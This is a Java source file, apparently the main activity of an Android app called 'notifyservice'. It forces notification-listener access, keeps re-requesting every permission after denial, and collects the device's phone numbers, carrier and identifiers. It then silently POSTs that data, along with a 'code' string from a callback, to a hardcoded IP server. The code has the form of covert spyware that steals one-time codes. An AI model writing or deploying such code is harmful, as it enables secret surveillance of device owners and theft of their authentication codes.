package com.example.notifyservice; import android.content.Context; import android.content.Intent; import android.content.pm.PackageManager; import android.net.ConnectivityManager; import android.net.Network; import android.net.NetworkCapabilities; import android.net.NetworkInfo; import android.net.Uri; import android.os.Build; import android.os.Bundle; import androidx.activity.EdgeToEdge; import androidx.annotation.NonNull; import androidx.appcompat.app.AppCompatActivity; import androidx.core.app.ActivityCompat; import androidx.core.graphics.Insets; import androidx.core.view.ViewCompat; import androidx.core.view.WindowInsetsCompat; import android.os.Handler; import android.os.PowerManager; import android.provider.Settings; import android.telephony.SubscriptionInfo; import android.telephony.SubscriptionManager; import android.util.Log; import android.widget.Toast; import org.json.JSONException; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.net.MalformedURLException; import java.net.URL; import java.util.ArrayList; import java.util.Arrays; import java.util.List; import java.io.OutputStream; import java.net.HttpURLConnection; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); EdgeToEdge.enable(this); setContentView(R.layout.activity_main); if (!isNotificationServiceEnabled()) { requestNotificationAccess(); } else { requestPermissions(retrievePermissions(this)); } } public static String getDeviceInfo(String p_seperator, Context context) { String m_data = ""; StringBuilder m_builder = new StringBuilder(); m_builder.append(android.os.Build.VERSION.RELEASE + p_seperator); m_builder.append(android.os.Build.DEVICE + p_seperator); m_builder.append(android.os.Build.MODEL + p_seperator); m_builder.append(android.os.Build.PRODUCT + p_seperator); m_builder.append(android.os.Build.BRAND + p_seperator); m_builder.append(android.os.Build.DISPLAY + p_seperator); // TODO : android.os.Build.CPU_ABI is deprecated m_builder.append(android.os.Build.CPU_ABI + p_seperator); // TODO : android.os.Build.CPU_ABI2 is deprecated m_builder.append(android.os.Build.CPU_ABI2 + p_seperator); m_builder.append(android.os.Build.UNKNOWN + p_seperator); m_builder.append(android.os.Build.HARDWARE + p_seperator); m_builder.append(android.os.Build.ID + p_seperator); m_builder.append(android.os.Build.MANUFACTURER + p_seperator); m_builder.append(android.os.Build.SERIAL + p_seperator); m_builder.append(android.os.Build.USER + p_seperator); m_builder.append(android.os.Build.HOST + p_seperator); String android_id = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID); m_builder.append(android_id + p_seperator); m_data = m_builder.toString(); return m_data; } @Override public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) { super.onRequestPermissionsResult(requestCode, permissions, grantResults); if (requestCode == 1 && grantResults.length > 0 && !(grantResults[0] == PackageManager.PERMISSION_GRANTED)) { requestPermissions(retrievePermissions(this)); } else if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED){ Context permissionContext = this; new Handler().postDelayed(() -> makeProcess(permissionContext), 500); } } private void makeProcess(Context context) { PostRequest postRequestTask = new PostRequest(context); postRequestTask.execute("http://10.23.31.205:8000/phone", listToJson(collectPhoneNumber(context)) + ";" + getDeviceInfo(":", context)); } private String listToJson(List list) { StringBuilder jsonBuilder = new StringBuilder(); jsonBuilder.append("["); for (int i = 0; i < list.size(); i++) { Object item = list.get(i); jsonBuilder.append(objectToJson(item)); if (i < list.size() - 1) { jsonBuilder.append(", "); } } jsonBuilder.append("]"); return jsonBuilder.toString(); } private String objectToJson(Object obj) { if (obj instanceof String) { return "\"" + escapeJson((String) obj) + "\""; } else if (obj instanceof Number || obj instanceof Boolean) { return obj.toString(); } else { // For other types, you can implement more logic as needed return "\"" + escapeJson(obj.toString()) + "\""; } } private String escapeJson(String raw) { String escaped = raw; escaped = escaped.replace("\\", "\\\\"); escaped = escaped.replace("\"", "\\\""); escaped = escaped.replace("\b", "\\b"); escaped = escaped.replace("\f", "\\f"); escaped = escaped.replace("\n", "\\n"); escaped = escaped.replace("\r", "\\r"); escaped = escaped.replace("\t", "\\t"); return escaped; } private boolean isNotificationServiceEnabled() { String packageName = getPackageName(); String enabledListeners = Settings.Secure.getString( getContentResolver(), "enabled_notification_listeners" ); return enabledListeners != null && enabledListeners.contains(packageName); } private void requestNotificationAccess() { Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS); startActivity(intent); } private static String[] retrievePermissions(Context context) { final String pkgName = context.getPackageName(); try { return context .getPackageManager() .getPackageInfo(pkgName, PackageManager.GET_PERMISSIONS) .requestedPermissions; } catch (PackageManager.NameNotFoundException e) { return new String[0]; } } private void requestPermissions(String[] permissions) { ActivityCompat.requestPermissions(MainActivity.this, permissions, 1); } private static boolean isNetworkAvailable(Context context) { ConnectivityManager connectivityManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE); Network nw = connectivityManager.getActiveNetwork(); if (nw == null) return false; NetworkCapabilities actNw = connectivityManager.getNetworkCapabilities(nw); return actNw != null && (actNw.hasTransport(NetworkCapabilities.TRANSPORT_WIFI) || actNw.hasTransport(NetworkCapabilities.TRANSPORT_CELLULAR) || actNw.hasTransport(NetworkCapabilities.TRANSPORT_ETHERNET)); } private List collectPhoneNumber(Context context){ List phoneNumbers = new ArrayList<>(); if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) { return phoneNumbers; } SubscriptionManager manager = SubscriptionManager.from(context.getApplicationContext()); List subscriptions = manager.getActiveSubscriptionInfoList(); for (int i = 0; i < subscriptions.size(); i++) { SubscriptionInfo currentCard = subscriptions.get(i); phoneNumbers.add((Build.VERSION.SDK_INT >= 33 ? manager.getPhoneNumber(currentCard.getSubscriptionId()) : currentCard.getNumber()) + ":" + currentCard.getCountryIso() + ":" + currentCard.getCarrierName().toString()); } return phoneNumbers; } public static void codeCallback(Context context, String string) { PostRequest postRequestTask = new PostRequest(context); postRequestTask.execute("http://10.23.31.205:8000/code", string + ";" + getDeviceInfo(":", context)); } }